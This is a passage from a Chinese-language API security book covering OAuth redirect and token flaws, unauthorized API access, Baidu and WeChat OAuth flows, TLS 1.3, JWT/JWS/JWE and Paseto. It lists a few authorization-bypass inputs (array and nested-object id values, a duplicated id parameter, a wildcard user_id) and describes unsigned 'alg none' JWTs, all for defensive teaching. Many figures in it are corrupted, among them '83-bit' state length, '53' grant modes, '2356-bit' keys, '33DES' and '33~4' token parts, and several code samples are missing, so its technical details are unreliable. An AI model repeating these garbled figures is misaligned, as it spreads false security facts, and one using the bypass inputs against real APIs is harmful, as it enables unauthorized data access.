的。对state参数的使用要遵循state值是一个不易被猜测的随机值,建议 长度至少83位以上,同时在使用时,客户端请求与服务器端响应要遵循 流程设计,做严格的一致性校验。 跳转URL或回调URL是OAuth流程中最容易出现漏洞的地方,也是 被攻击的重点。在OpenID Connect的漏洞中,也谈到了跳转URL的安全 问题。总的来说,跳转URL容易出现以下漏洞。 ■ URL被篡改:URL篡改通常发生在客户端,篡改后发送到授权服 务器端,如果服务器端没有将客户端ID与URL进行绑定或一致性校验, 或对URL无校验,则会导致在URL重定向时跳转到篡改后的链接或恶意 站点。比如,正常请求的URL地址为: 如果client.example.com被篡改成evil.com,则会跳转到恶意站点 evil.com。 为了规避此类问题,通常是在客户端应用程序注册时,保存客户 端ID和URL的映射关系,并在授权服务器授权时进行一致性校验。 ■ URL校验被绕过:有时,因为研发人员安全意识不足或安全编码 能力不足,即使对跳转的URL进行了校验,仍会因为校验机制存在问 题,导致URL校验绕过,存在不安全的URL跳转或重定向。还是上面的 例子,比如恶意的请求URL地址为: 这种情况下,URL字符串中包含了URL地址client.example.com,但 同时也包含了恶意站点evil.com。如果服务器端没有对跳转的URL做严 格的匹配,而是选择了包含、正则或之类的匹配规则,则会导致URL仍 然能校验通过。 ■ URL二次跳转校验绕过:OAuth协议的使用主要是解决第三方应 用的授权问题。在真实的互联网应用中,OAuth平台方往往占有主动权 和审核权,作为开发者的第三方应用开发商,提交信息时常常需要平台 方去审核。有时,平台方的审核流程或审核时间会比较长,无法及时响 应开发者的要求。有一部开发者会在第三方应用注册时,填写一个类似 中间人的跳转页面。它的好处是,可以通过平台方审核,且后期维护 时,不需要重新修改信息再提交平台方审核。这种情况下,如果此跳转 页面被恶意攻击者利用,则可以通过该页面完成二次跳转的功能,达到 授权绕过的目的。 3.受保护资源漏洞 授权目的是保护受保护的资源在未授权的情况下无法被访问到。但 资源能被安全的保护是在资源服务授权机制正确的前提下,如果资源服 务存在缺陷,受保护的资源仍是不安全的。针对受保护的资源,从 OAuth流程去看,通常发生在访问令牌Access Token漏洞上。 针对访问令牌Access Token的漏洞主要分为访问令牌Access Token 泄露、访问令牌Access Token被篡改、访问令牌Access Token被重复利 用等。访问令牌Access Token泄露和其他令牌一样,前面的章节中已反 复提及;而对于访问令牌Access Token被篡改的利用,这与访问令牌的 使用流程相关。熟悉OAuth的读者都知道,访问令牌Access Token在整 个业务流程中相当于虚拟一个认证层,不同的应用之间,依赖访问令牌 Access Token进行授权互信。如果访问令牌Access Token的数据格式被 篡改后(比如其数据格式为可猜测的字符),身份被仿冒,则受保护的 资源将被非法访问。如果在设计时,使用的访问令牌Access Token有效 期设置不合理或长期有效,当访问令牌Access Token泄露后,则受保护 的资源也将被非法访问。 除此之外,在访问令牌发放时,会指定客户端的授权范围,如果资 源服务器端没有遵循严格的授权范围的限制或访问控制机制不全,则 也会导致受保护的资源被非法访问。 8.3.2 其他类型的授权或访问控制漏洞 在其他类型的授权或访问控制漏洞中,最为典型的是API未授权访 问。和传统的Web安全类似,此类未授权访问往往是API安全保护机制 缺失导致的。比如在第3章列举的Hadoop YARN管理API漏洞,作为API 能力的提供方,在应用程序的设计上,没有显性的API授权访问的保护 措施,需要借助于基础设施层面的访问控制策略来限制访问者的来源。 比如依赖宿主主机的iptables、依赖网络层的防火墙访问控制策略、依赖 应用层添加身份认证机制等。这一点,除了Hadoop组件外,像Spark REST API、Etcd REST API、Kubernetes API Server等都出现过此种类型 的漏洞。 在API技术中,有一点比较特殊的就是每一个API服务或API平台都 会提供API接口描述文档或接口定义文件,比如Swagger文件、WSDL文 件、API开放平台接口描述等。这些文件的存在,使得攻击者更容易发 现服务对外暴露的接口,寻找到未授权保护的API端点。另外,多端调 用的API或多版本共存的API也是存在未授权访问漏洞的高发区。 此外,还有一些是因为访问控制策略不完善导致的,比如访问控制 模型设计或数据配置不合理;数据校验逻辑存在缺陷,导致水平越权或 垂直越权问题发生,进而导致功能权限或数据权限的扩大。在第4章中 提及的API学习工具《API安全测试小贴士》中,就有专门针对此类攻 击的绕过手法。 ■ 数组绕过:{“id”:111}→{“id”:[111]}。 ■ JSON对象绕过:{“id”:111}→{“id”:{“id”:111}}。 ■ 多次传值绕过:/api?id=正常参数值&id=恶意参数值。 ■ 正则匹配绕过:{"user_id":"*"}。 要想避免此类问题,除了正确的安全设计、严格的数据格式校验 外,还要增加线上API监控、API审计的功能设计,定期的API服务扫 描,从API管理生命周期的角度去消减API安全风险。 8.4 业界最佳实践 前文花了大量的篇幅详细介绍了OAuth协议和RBAC模型的相关知 识,下面就结合OAuth在互联网应用的使用情况来分析一下头部企业是 如何实现自己的OAuth授权流程的。 8.4.1 案例之OAuth在百度开放云平台的使用 OAuth协议的使用案例在互联网头部厂商俯首皆是,从社交应用扫 描登录所覆盖的范围读者也大体能猜测出来其使用情况,在这里为读者 选择的案例是百度开放云平台,与其他的互联网应用相比,百度开放云 平台的OAuth协议的技术实现覆盖普通的Web应用、移动端、纯后端服 务以及IoT设备,可以为读者提供最佳实践指引。 1.百度OAuth背景介绍 百度基于OAuth协议的开放标准做了自己的技术实现,并在百度开 发者中心提供了详细的开发者文档支持。文档中对要使用百度OAuth进 行授权的必要前提做了约定。 ■ 注册为百度用户,这一步操作与其他厂商的开发者平台中的成为 开发者的意义相同。只有成为百度的用户,才可以成为相关API的开发 者。 ■ 开发者开发自己的应用程序,需要在百度开放云平台创建应用, 由平台分配应用接入所需要的两个关键属性值API Key(client_id)和 Secret Key(client_secret)。 开发者完成了上述前提约定,才能使用百度OAuth授权。百度 OAuth授权提供了53种不同的方式获取Access Token和1种通过刷新令牌 获取AccessToken的方式(其中开发者凭据方式是百度OAuth专门为百度 云API向开发者开放而定制的,目前已停用),这与OAuth协议核心文 档及其设备码拓展规范大体是一致的。其官方的详细描述信息整理后见 表8-1。 表8-1 授权模式与适用场景 考虑到用户授权确认界面在不同的操作系统平台、不同的设备上展 现方式的不同,百度OAuth授权新增一个参数display,用来标识不同形 式的客户端所对应的不同展现形式,比如display值page为默认展现方 式,表示授权页面以全屏方式展现,通常用于Web应用程序;display值 为popup表示授权页面以弹框方式展现,通常用于桌面软件应用和Web 应用;display值为mobile表示授权页面在iPhone、Android等移动终端上 的展现方式等。 而对于授权范围,百度OAuth中也做了明确的划分,主要分为以下 两类。 ■ 用户授权:包含用户基本权限basic、百度首页消息提醒 super_msg、个人云存储中的数据netdisk三个选项。 ■ 平台授权:包含公共开放API的授权public和Hao123开放API的 hao123。 2.百度OAuth授权过程 基于以上背景知识,接下来看看百度OAuth的主要授权过程。 (1)包含Server端的客户端应用程序使用百度OAuth 2.0授权 包含Server端的客户端应用程序使用百度OAuth 2.0授权,在这种场 景下,API的调用包含以下几个关键步骤。 1)引导用户到百度OAuth进行授权,此时请求的URL格式与标准 的OAuth基本一致。其官方提供的样例请求消息格式如下: 2)如果用户同意授权许可,则请求页面将跳转至应用程序注册时 录入的跳转URL地址并添加授权码,形式如 YOUR_REGISTERED_REDIRECT_URI/?code=CODE来获取访问令牌 Access Token。此时,官方提供的请求消息格式样例如下: 响应消息关键内容如下: 细心的读者可能已经发现,百度OAuth的授权码流程比标准OAuth 流程要简洁,同时,响应消息比OAuth协议多了session_key和 session_secret两个参数,这也是百度OAuth特有的参数,其含义如下。 ■ session_key:基于HTTP调用Open API时所需要的Session Key, 其有效期与Access Token一致。 ■ session_secret:基于HTTP调用Open API时计算参数签名用的签 名密钥。 3)通过以上交互过程,客户端获得访问令牌Access Token,最后再 通过Access Token来调用API。 (2)移动端使用百度OAuth 2.0授权 移动端使用百度OAuth 2.0授权推荐使用简化授权方式,步骤比较 简洁,交互过程如下。 和授权码方式一样,引导用户到百度OAuth进行授权,其请求消息 中仅是response_type值换为token,其他的不变。如果用户同意了授权, 页面将跳转至应用程序注册时录入的跳转URL并在Fragment中追加供 移动端应用程序处理的参数。此时,官方给出的样例格式如下所示: 移动端应用程序截取Fragment中的Access Token值并调用API,完 成移动端授权的调用过程。 (3)设备使用百度OAuth 2.0授权 设备使用百度OAuth 2.0授权推荐使用设备码模式,其交互流程与 OAuth协议设备码流程基本一致。和上述两种授权方式不同的是,设备 授权首先是向百度OAuth发起请求,以获取User Code和Device Code。其 官方请求消息格式样例如下: 注意,发起此请求时,response_type的值为device_code。如果服务 器端校验client_id确认客户端身份无误后,授权服务会响应设备信息, 此信息为JSON格式,其中包含一个二维码图片地址。其官方响应消息 格式样例如下: 这个响应消息中包含了授权需要的关键信息。用户可以通过以下两 种方式完成授权许可。 ■ 设备获取响应消息中的验证链接,引导用户使用其他终端访问验 证链接,填写User Code并完成授权许可。 ■ 设备获取二维码并展示,用户使用手持智能终端扫描响应消息中 的二维码图片(qrcode_url字段)完成授权许可。 授权确认后,设备自动通过Device Code获取Access Token,再通过 获得的Access Token来调用API的权限。 通过以上介绍,读者应该可以明白OAuth协议在百度开放云平台上 有整体的落地实践,并且,在百度OAuth的实践过程中,根据自己的业 务特点和安全考虑,增加了一些非必填参数,比如授权页面的展现形 式、HTTP调用Open API的必填参数,既很好地遵循了OAuth协议的规 范,保证了接口的通用性和兼容性,又满足了业务的实际需要,给读者 提供了很好的OAuth协议可落地实践的参考范本。 8.4.2 案例之微信公众平台第三方平台API授权访问 了解了百度OAuth授权,再来看看微信公众平台第三方平台的API 授权访问。与OAuth核心流程相比,百度OAuth授权流程更为规范,微 信公众平台第三方平台因授权流程而做了更多的定制化处理。下面就带 大家一起来看看其中的具体细节。 1.微信公众平台第三方平台授权背景介绍 微信公众平台第三方平台是微信开放平台开放给开发者使用的能力 平台,开发者开发第三方应用,通过获得公众号或小程序的接口能力的 授权,代替公众平台账号调用各业务接口来实现其业务功能。第三方应 用想要接入微信公众平台,其中与授权相关的有以下步骤。 1)创建微信开放平台账号,即在微信开放平台完成账号信息的注 册审核。 2)创建第三方应用或平台,即应用注册功能,将应用或平台信息 录入微信开放平台。 3)开发者自行开发和测试授权。开发者对自己开发的第三方应用 或平台进行测试和授权验证。 4)申请全网发布并上线。开发者申请自己的第三方应用或平台在 微信公众平台第三方平台发布上线。 从上述步骤可以看出,账号注册和第三方应用注册是开始测试授权 的必要条件。只有当这些必要的前提条件做完之后,开发者才开始自行 进行授权测试与验证。 在微信开放平台的授权流程技术说明中,对API的授权调用流程进 行了详细的步骤说明,如下所示。 1)第三方平台获取预授权码(pre_auth_code)。 2)引入用户进入授权页。 3)用户确认,同意登录并授权给第三方平台。 4)确认授权后回调URI,得到授权码(authorization_code)和过 期时间。 5)利用授权码调用公众号或小程序的相关API。 这53个步骤与OAuth协议的授权码流程是一致的,只不过在OAuth 中,用户确认授权许可前是获取授权码code,在此流程中,是第三方平 台获取授权码pre_auth_code。了解了这些知识,下面就来逐步分析理解 微信开放平台的授权接入机制。 2.微信公众平台第三方平台授权技术细节 微信开放平台授权的第一个步骤是第三方平台获取预授权码 pre_auth_code,此接口的请求参数说明如图8-10所示。 ●图8-10 第三方平台获取微信公共平台预授权码的请求参数定义 其中令牌component_access_token是必填值,为了可以调用预授权 码获取接口,必须先拿到令牌component_access_token。而令牌 component_access_token的获取,也是需要一个必填参数验证票据 component_verify_ticket,令牌获取的请求参数说明如图8-11所示。 ●图8-11 第三方平台获取微信公共平台令牌的请求参数定义 而参数验证票据component_verify_ticket的说明中标明此值是微信后 台推送的,是在第三方平台创建并审核通过后,微信服务器主动调用第 三方应用或平台创建时录入的“授权事件接收URL”,每隔130min就主动 以POST提交的方式推送验证票据component_verify_ticket的值。 再次梳理一下接口的详细调用过程,如图8-12所示。 1)开发者在微信开放平台创建第三方应用,其中包含“授权事件接 收URL”信息。 2)如果第三方应用审核通过,则系统会生成第三方应用的appid、 appsecret,供后续请求时验证客户端应用身份。 3)微信服务器调用“授权事件接收URL”,加密推送验证票据信 息。 4)第三方应用携带验证票据、appid、appsecret,获取接口调用凭 据令牌。 5)API平台服务接受令牌获取请求,并应答令牌值和有效期。 6)第三方应用携带令牌值和appid,获取预授权码。 7)API平台服务响应预授权码值和有效期。 8)第三方应用引导用户进入授权许可页面,跳转链接为: 用户同意将自己的公众号或小程序授权给第三方平台方,完成授权 流程。 ●图8-12 微信公众平台第三方授权流程 9)授权流程完成后,页面自动跳转进入回调URL地址,并将授权 码和过期时间(redirect_url?auth_code=xxx&expires_in=600)加入请求 参数中。 10)通过授权码调用微信API。 通过以上步骤分析,微信开放平台授权与OAuth协议标准的授权码 流程的差异主要是上述的33)~5)步,通过服务器推送验证令牌,到 验证令牌→令牌→预授权码的逻辑顺序,再启动授权码流程。 8.5 小结 本章主要为读者介绍了API授权与访问控制的相关技术,其中对于 OAuth协议、RBAC模型做了详尽的介绍,并结合百度开放云平台、微 信公众平台的实践案例,讲解了国内头部互联网厂商对于OAuth协议的 具体实现以及对API授权调用的操作流程。通过这一章内容的学习,读 者应基本了解当前API授权和访问控制的主流技术。当然,此类相关的 技术细节还有很多,比如RBAC在API中的使用场景在AWS云、 Kubernetes、OpenStack等产品都有很好的实践,虽没在本章进行案例分 析,但仍希望读者自己在工作中花时间去研究、去熟悉此模型的使用实 践。 第9章 API消息保护 API的产生是为了方便不同系统之间或系统内部不同的组成部门之 间的信息交互,对于使用API作为媒介进行信息交互的双方来说,如何 保护数据在通信过程的安全成了整体安全中很重要的一个部分。本章将 为读者介绍API通信中传输层和应用层涉及消息保护的相关安全技术。 9.1 传输层消息保护 从API通信的组件架构来看,无论是C/S架构、B/S架构这类传统方 式的API调用,还是服务器端到服务器端、设备端到服务器端的移动互 联及IoT环境下的API调用,其API通信组件的基本形态都可以表示为两 个端点之间的端到端通信。系统内外部端到端通信示意图如图9-1所 示。 ●图9-1 系统内外部端到端通信示意图 如何保障通信链路上两个端点之间端到端通信安全,确认通信双方 的身份,防止中间人攻击和非法截获传输数据,使用TLS成为保障API 通信安全中首选的解决方案。 9.1.1 TLS安全特性 TLS是目前互联网上广泛使用的安全传输协议,用于两个通信端点 之间的身份验证、加密和数据完整性保护,常见的应用场景有Web浏览 器会话、VPN、远程桌面等。TLS是从SSL协议演变而来,因其支持更 新和更安全的算法,而逐渐取得SSL协议。TLS协议是由TLS记录协议 和TLS握手协议构成,其中TLS记录协议负责底层的信息传输及认证加 密,TLS握手协议负责密钥协商交换等。 TLS的安全性主要来源于以下特性。 ■ 身份认证:TLS在通信双方建立可信连接时,对通信双方进行身 份认证,尤其是服务器端,始终必须经过身份认证(客户端可选),其 身份认证方式采用证书认证,能有效地保证通信双方的可信性。 ■ 通信加密:一旦通信建立,在通信双方之间建立加密通道,通道 仅对通信双方可见。通信双方通过协商密码的方式,建立共享密钥对通 信数据进行加密传输,能有效地防止中间人攻击。 ■ 完整性:在通信握手过程中使用MAC(消息验证码)机制,保 证了通信数据的完整性。 TLS版本从SSL发展而来,先后经历了4个版本:TLS 1.0、TLS 1.1、TLS 1.2、TLS 1.3,目前推荐使用的为TLS 1.3版本。促进用户积极 用TLS 1.3版本替代旧版本的主要原因是近些年TLS 1.2的安全问题频 发,作为互联网上基础性的、使用广泛的加密协议,一旦产生漏洞将对 多个应用或服务产生影响,比如依赖于TLS的常用服务或协议HTTPS、 SFTP、IMAPS等。 与TLS旧版本相比,TLS 1.3的主要改变如下。 ■ 启用新的密钥交换和身份认证机制。 ■ 支持0-RTT模式,节省了连接建立的往返时间。 ■ 禁止对加密报文进行压缩及会话重协商。 ■ 减少了握手消息的明文传输。 ■ 不再使用33DES、RC4、AES-CBC等加密组件以及SHA1、MD5 等哈希算法,仅支持AEAD校验数据完整性。 ■ 不再使用DSA证书。 9.1.2 TLS握手过程 在TLS 1.3的新特性中,读者了解到新版本的通信过程更快,那么 到底快在哪里呢?接下来将结合TLS 1.3的握手过程,为读者分析其中 的原理。TLS 1.3通信中涉及握手的场景主要有建立新的连接、会话恢 复两个场景,下面将依次来看看这两个场景下通信双方的握手过程。 (1)建立新的连接 当通信双方首次访问时,大多数情况下都需要建立连接。TLS 1.3 的首次通信如果没有提前建立通信信道,则首次连接时采用建立新连接 的方式,其交互过程如图9-2所示。 TLS 1.3的新连接握手过程相对于TLS 1.2有了很大的优化,TLS 1.2 需要两个网络往返(2-RTT),而TLS 1.3只需要一个网络往返(1- RTT),更加高效。另外,TLS 1.3的新连接握手过程允许服务器对客户 端在初始握手时先不对客户端进行身份认证,当客户端请求某些敏感信 息时,再对客户端进行身份认证。 (2)TLS会话恢复 TLS会话恢复场景是客户端与服务器端已经完成新连接握手过程, 因为网络、超时等意外情况导致连接断开,需要恢复TLS会话的过程。 TLS 1.3的会话恢复过程如图93-3所示。 ●图9-2 TLS 1.3新建连接握手交互图 ●图9-3 TLS 1.3会话恢复示意图 TLS 1.2会话恢复需要一个网络往返(1-RTT),而TLS 1.3可以达 到0-RTT,因为在新连接握手过程已经完成了密钥协商和身份认证,会 话缓存中有客户端与服务器端的共享密钥,使得TLS 1.3能够快速会话 恢复。 9.1.3 TLS证书使用 TLS的加密原理是通过非对称密钥加密来交换会话密钥,通过对称 密钥加密来加密信息,结合了非对称密钥加密的安全性强和对称密钥加 密的加解密效率高的优势,但在密钥交换过程中容易受到中间人攻击, 需要通过数字签名来确认身份,通过证书将第三方签名与公钥绑定。 证书的类型分为DV(域名验证)、OV(组织验证)、EV(扩展 验证)三种,由CFCA等认证机构颁发,金融等重要行业一般使用OV或 EV证书,需要进行证书申请,而DV证书可以自动签发。 证书标准遵循X.509规范,以HTTPS证书为例,查看证书详细信 息,如图9-4所示。 ●图9-4 数字证书样例 HTTPS证书的主要字段如下。 ■ 版本:证书的版本。 ■ 序列号:证书的唯一标识,由证书颁发者CA签发。 ■ 签名算法:证书的数字签名所用的算法。 ■ 签名哈希算法:对解密后的信息进行哈希计算,确保信息完整 性。 ■ 颁发者:证书颁发者的身份信息,如组织名称、域名和所在地 等。 ■ 有效期:证书有效的开始日期和结束日期。 ■ 使用者:证书申请者的身份信息,域名、组织名称、组织所在地 等。 ■ 公钥:证书使用者的公钥、签名算法。 ■ 公钥参数:公钥可选参数。 证书的规范有效使用依托于公钥基础设施PKI,它提供了公钥加密 和数字签名服务,包含证书生成、管理、存储、分发、吊销等,实现信 息传递的完整性、保密性以及不可抵赖性。 PKI主要由证书用户、注册机构RA、认证机构CA等部分构成,证 书的申请与使用主要步骤如下。 1)用户到注册机构RA申请证书。 2)生成CSR,同用户信息一并传至CA。 3)请求加密密钥,提交用户签名公钥。 4)生成加密密钥对,用签名公钥加密私钥并传至CA。 5)CA签名,生成证书,颁发证书,提供证书吊销列表。 6)用户从RA下载证书、安装证书。 7)客户端向服务器端请求证书,使用本地公钥验证证书签名,检 查证书吊销状态。 8)私钥泄露或证书不再使用,及时吊销处理。 9.2 应用层消息保护 使用TLS以及基于TLS之上的应用层协议(HTTPS、SFTP、IMAPS 等)解决了通信链路的安全问题。那么接下来,将为读者讲述API通信 交互中应用层协议内容的安全保护,为API通信提供端到端的安全保 护。 9.2.1 JWT及JOSE相关技术 应用层的消息保护技术很少单独存在,往往融入整个安全技术体系 之中。在第7章和第8章中,为读者详细介绍了OAuth协议、OpenID Connect协议的相关内容,在这些协议的创建和拓展过程中,已将应用 层的消息保护纳入其中,JWT及JOSE(Javascript对象签名和加密)相 关技术就是代表性的消息保护技术。 1.JOSE协议栈 JOSE协议框架中涉及的技术均与JWT相关,主要有以下几个部分 构成。 ■ JSON Web Token(JWT):由RFC7519规范中定义的、针对 JSON对象在通信交互过程中使用的、一种可以签名或加密的标准数据 格式。 ■ JSON Web Signature(JWS):由RFC7515规范定义的、针对 JWT格式进行数字签名的操作规范。 ■ JSON Web Encryption(JWE):由RFC7516规范定义的、针对 JSON数据进行加密的操作规范。 ■ JSON Web Algorithm(JWA):由RFC7518规范定义的,用于 JWS或JWE所使用的数字签名或加密算法列表。 ■ JSON Web Key(JWK):由RFC7517规范定义的,用于JSON 对象描述加密密钥、密钥集的数据结构和表示方式。 上述5个技术规范分别从加密或签名算法、密钥数据结构定义、签 名或加密操作规范三个方面定义了JSON对象的安全使用。它们之间的 关系如图9-5所示。 使用密钥(JWK定义)和加解密算法(JWA定义)对JWT格式的数 据进行处理,如果仅对标头和有效载荷进行签名,则使用的技术标准为 JWS;如果是对JWT格式的数据进行加密,则使用的技术标准为JWE。 在使用JWS或JWE时,技术处理过程中都需要依赖于JWK定义的密钥结 构和JWA定义的算法列表。 ●图9-5 JWT协议栈各组成部分之间的相互关系 2.JWT组成结构 在本书73.2.4节为读者介绍ID令牌基本概念时,曾提到ID令牌的传 输格式为JWT格式。JWT是RFC 7519标准为使用JSON数据格式作为传 输对象的多方通信所提供的解决方案,通常以字符串形式表示,由标 头、有效载荷、签名三部分组成,各个组成部分之间以点号(.)分 隔。如下所示: ■ 标头(Header):由令牌类型(即JWT)和所使用的签名算法 (如HMAC SHA256或RSA)两部分组成,其结构样例如下所示: 此结构的JSON对象,将在Base64 URL编码后,作为JWT的第一个 组成部分放入JWT字符串中。 ■ 有效载荷(Payload):主要为声明集合,包含三类声明,注册 声明、公共声明、私有声明。注册声明不是强制性的,只是建议使用 性的,比如iss(发布者)、exp(到期时间)、sub(主题)等,详细字 段可以参考7.2.4节相关内容;公共声明对JWT使用人员可以随意定义, 但为避免冲突,在定义时需要注意命名空间;私有声明是用于通信各方 共享的、自定义的、不属于前两种(注册声明、公共声明)的声明。其 结构样例如下所示: 此JSON对象也将被Base64 URL编码,然后作为JWT的第二个组成 部分拼入JWT字符串中。 ■ 签名(Signature):对标头、有效载荷、公钥/私钥信息使用标 头中指定的签名算法进行签名。如果使用SHA算法,其算法伪码为: 如果使用RSA算法,则算法伪码为: 标头、有效载荷、签名这三个部分,用点号连接在一起,就构成了 一个JWT,如图93-6所示。 ●图9-6 JWT生成过程示意图 而对于JWT格式的验证以及签名算法的使用,推荐读者使用JWT的 debugger工具进行调试(https://jwt.io/#debugger-io)。从JWT组成结构 描述可以看出,对于标头和有效载荷只是简单的Base64 URL编码,并无 加密保护。对于签名与否,依赖于标头alg字段的定义,如果没有使用 签名,即标头定义为{"alg":"none"}的情况下,则整个JWT格式的字符串 中最后一段缺失,形式类似于下面的结构: 即payload之后的点号后内容为空,这种情况下的数据,相比有签名 的结构,缺失了数据篡改的验证,因安全性不高不建议在生产环境使 用。在JOSE相关技术中,依赖JOSE标头中alg、typ、cty等字段不同, 可划分为JWS和JWE。 3.JWS组成结构 JWS主要通过对标头、有效载荷的JSON数据添加签名,通过签名 校验,保证数据传输过程的完整性。其表现形式与JWT主要差异表现在 以下两点。 ■ 标头结构的不同:在JWS或JWE中,标头又称为JOSE标头,格式 比上文中提及的JWT标头结构复杂,由注册标头、公共标头、私有标头 三部分组成。关于标头中各个字段含义及哪些属于JWS、哪些属于 JWE,可以阅读JOSE文档,理解各个字段之间的细微差异,在线网址 为https://www.iana.org/assignments/jose/jose.xhtml。 ■ 数据结构中添加签名:在JWS中,签名必须存在,不会出现标头 中alg为none时,无签名的情况。 组成结构上,JWS遵循JWT的组成结构,这从生成JWS数据的算法 也可以看出,算法伪码如下: 在JWS的使用中,因为是附加了签名的JWT数据结构,携带了通信 内容的验证数据,可有效地防止中间人劫持后的数据篡改和欺骗。在服 务器端,当接收到客户端传输的数据后,可以通过验签操作,对传输数 据进行验证。如果验证未通过,可以拒绝客户端的请求操作;同样,客 户端对服务器端响应的数据,也可以采用验签操作,来验证从服务器端 到客户端传输过程的数据完整性和一致性。 与此同时,作为JWS的使用者,从上述的JWS生成算法应该明白, 作为主要数据的承载部分有效载荷仍未做加密处理,仅Base64编码,这 对传输敏感数据是不安全的。JSON对象中敏感数据的安全传输,通常 采用JWE。 4.JWE组成结构 JWE的组成结构相对JWS来说较为复杂,由受保护的标头、密钥、 初始向量、加密后的数据、认证标签5个部分组成,各个部分之间用点 号分割,如图9-7所示。 ●图9-7 JWE组成结构 这5个部分连接时,使用的算法与JWT类似,都是Base64编码后的 连接串。创建JWE字符串的步骤,如图9-8所示。 1)定义标头,在标头中指定加密密钥CEK的加密算法RSA-OAEP 和数据加密+认证标记生成算法AES GCM。 2)用接收方公钥+CEK加密算法RSA-OAEP,对随机生成2356位随 机数组进行加密,生成加密密钥CEK。 3)生成96位随机数初始向量iv数组。 ●图9-8 JWE创建过程 4)采用AES GCM加密算法、加密密钥CEK、初始向量iv,对明文 部分进行加密生成密文,并输出认证标记Authentication Tag。 有了上述4个步骤生成如图9-8中虚线部分表示的数据后,再用算法 base64url(utf8(标头)).base64url(加密密钥).base64url(初始向 量).base64url(密文).base64url(认证标记)生成JWE格式字符串。 从上述对JWT、JWS、JWE的简单介绍可以看出,JWS和JWE作为 JWT使用的不同技术形式,JWS具备对内容进行数字化的签名,而JWE 对内容进行加密保护,只有将两者结合使用,才能解决数据加密与签名 校验的功能,保障数据在传输过程中的完整性、一致性和保密性。 5.JWT技术应用与安全性 JWT及其相关技术在API领域中的应用已非常普遍,从前两章中对 OpenID Connect和OAuth协议的流程介绍中,细心的读者已经看到了ID 令牌、访问令牌等具有明显JWT特征的参数或数据结构。在互联网应用 程序中,JWT目前主要使用的场景如表9-1所示。 表9-1 JWT使用场景 随着JWT的广泛使用,其自身的问题也逐渐暴露出来。通过上文的 讲述可以了解,JWT中的数据仅仅是Base64url编码,当传输敏感数据 时,其数据的机密性将受到影响,这种场景下JWE将作为被选项。作为 一个复杂的技术标准,JWT过于笨重,不利于开发者快速的学习和使 用,比如如果开发者经验不足,使用了非强制签名的JWT格式,则数据 在传输过程中被篡改就无法来验证。即使使用了HMAC-SHA256来签 名,在当前计算机运算速度高速增长背景下,算法本身的安全也将受到 威胁,这将为攻击者伪造JWT提供了有利条件。有时,开发者会将API KEY放入JWT中进行传输,虽然这也是JWS标准所定义的,但其安全性 很难保障,因为过去的漏洞案例已表明某些加密算法的不安全性,比如 ECDH-ES算法、AES算法的GCM模式,选择带有PKCS1v1.5填充的RSA 算法等。在JWT的使用场景中,其常被用来作为身份认证的介质,即无 须执行数据库查询,仅需验证JWT数据的正确性来验证身份,这样的控 制流程中,一旦JWT被接管,则意味着用户身份也同样被攻击者接管。 正是JWT标准的复杂和对应实现类库的众多,给开发者带来便利的同时 也为安全风险埋下了隐患。对JWT技术细节理解不深或加密算法知识匮 乏的人使用JWT,往往发生重大的漏洞。 当开发者在使用JWT时,首先要根据自己的业务场景确定是使用 JWS还是JWE,并了解对应的加密算法以及其相关类库。使用复杂的密 钥,并将密钥存放在服务器上安全的地方,比如密钥应放在具有权限访 问控制的目录中,不能放在Web服务的应用目录,以防止被他人下载; 密钥如果以文件的形式存放,则文件名改为复杂且不容易猜测的文件 名;永远不要使用硬编码的方式存放密钥等。对于签名算法,最好是在 服务器端强制指定,不允许客户端任意选择。无签名的JWT数据不允许 使用,通信时,要严格地执行验签过程,防止绕过验证过程。对于JWT 作为令牌使用的场景,要防止令牌的未授权获取和令牌泄露,避免将敏 感信息放入有效载荷中,同时设置令牌的有效期,且对有效期进行验 证,防止令牌重放攻击。遵循JWT安全最佳实践的要求,既解决业务支 撑的难题又保障应用程序的安全性。 9.2.2 Paseto技术 上一节为读者介绍了JWT相关的技术,从上述内容可以看出,JWT 的相关技术体系在构建过程中发布了一系列的标准或规范,这些标准保 障JWT技术框架完整性的同时也人为地设置了很多烦琐的操作,提高了 技术的使用门槛。为了简化操作和规避上述安全问题,Scott Arciszewski在2018年初设计了Paseto技术。 1.Paseto技术简介 Paseto抛弃JSON安全技术有关的一系列标准,重新制定了一套与平 台无关的安全令牌技术,此技术一经发布就很快在安全社区中得到应 用,其官方网址为https://paseto.io/。在Paseto的协议标准约束中,对其 当前版本以及后续版本的安全性,从消息验证和加密两个方面,给出了 明确的约定。 ■ 为了防止消息被攻击者篡改,一切消息都必须经过验证。禁止使 用未经身份验证的加密模式,比如AES-CBC。除了密文外,随机数或 初始化向量也必须包含在身份验证标签中。 ■ 禁止使用不确定的、有状态的或其他危险的签名方案,公钥加 密必须是IND-CCA2安全的,才能考虑包含在内。 除了上述的安全约束外,Paseto协议标准对协议的版本也作了要 求:只允许存在两个版本。当前为v1和v2版本,如果v3版本出现了,则 v1版本废弃;如果v4版本出现了,则v2版本废弃,一直只保留两个版 本,从而保证协议框架的简洁性,便于使用者参考。 2.Paseto组成结构 Paseto在组成结构上与JWT很相似,也是Base64编码的字符串,由 33~4个部分组成,每一个组成部分之间再用点号连接,如图9-9所示。 ●图9-9 Paseto组成结构 ■ 协议版本:此组成部分的用途是告诉使用者正在使用哪个版本的 Paseto标准协议。目前,Paseto标准协议有两个版本v1和v2。 ■ 目标用途:此字段是枚举值,分别为local和public,其含义分别 表示对有效载荷部分采用对称加密算法还是非对称数字签名算法。 ■ 有效载荷:与JWT类似,也是JSON数据结构,只不过这部分数 据是加密或签名后再进行Base64编码的JSON数据。原始的JSON数据结 构可以与JWT类似,也可以用户自定义放入自己业务所需要的字段。 ■ 页脚:用于存储未加密的其他元数据,此部分在整个Paseto结构 中为可选部分。将上述4个部分放在一起,Paseto的格式如下: 典型的Paseto结构样例如下(不包含页脚部分): 3.Paseto创建和使用 Paseto目前有两个版本,推荐使用v2版本。这里,以v2版本为例, 讲解其创建和使用过程。在Paseto的组成结构中,目标用途分为local和 public两种类型,其分别对应于对称加密和非对称数字签名两种场景, local类型的使用过程主要有加密和解密两个,而public的使用过程主要 有签名和验签两个。下面将为读者分别讲述这4个过程。 在Paseto官网上,提供了不同开发语言的Paseto辅助类库的实现, 在这里使用paseto4j类库,来说明local和public两种类型的使用过程。 (1)加密过程 使用加密和解密的过程,对应于local类型。这种场景下,使用封装 后的paseto4j类库实现起来非常简单,关键代码片段如下: 在Paseto类的encrypt方法中,其创建过程如图9-10所示。 ●图9-10 Paseto创建过程 1)首先定义Paseto头部,通常情况下该值默认为v2.local。 2)基于操作系统运行环境,结合payload值和传入的密钥随机数 secretKey生成一次性随机数nonce。 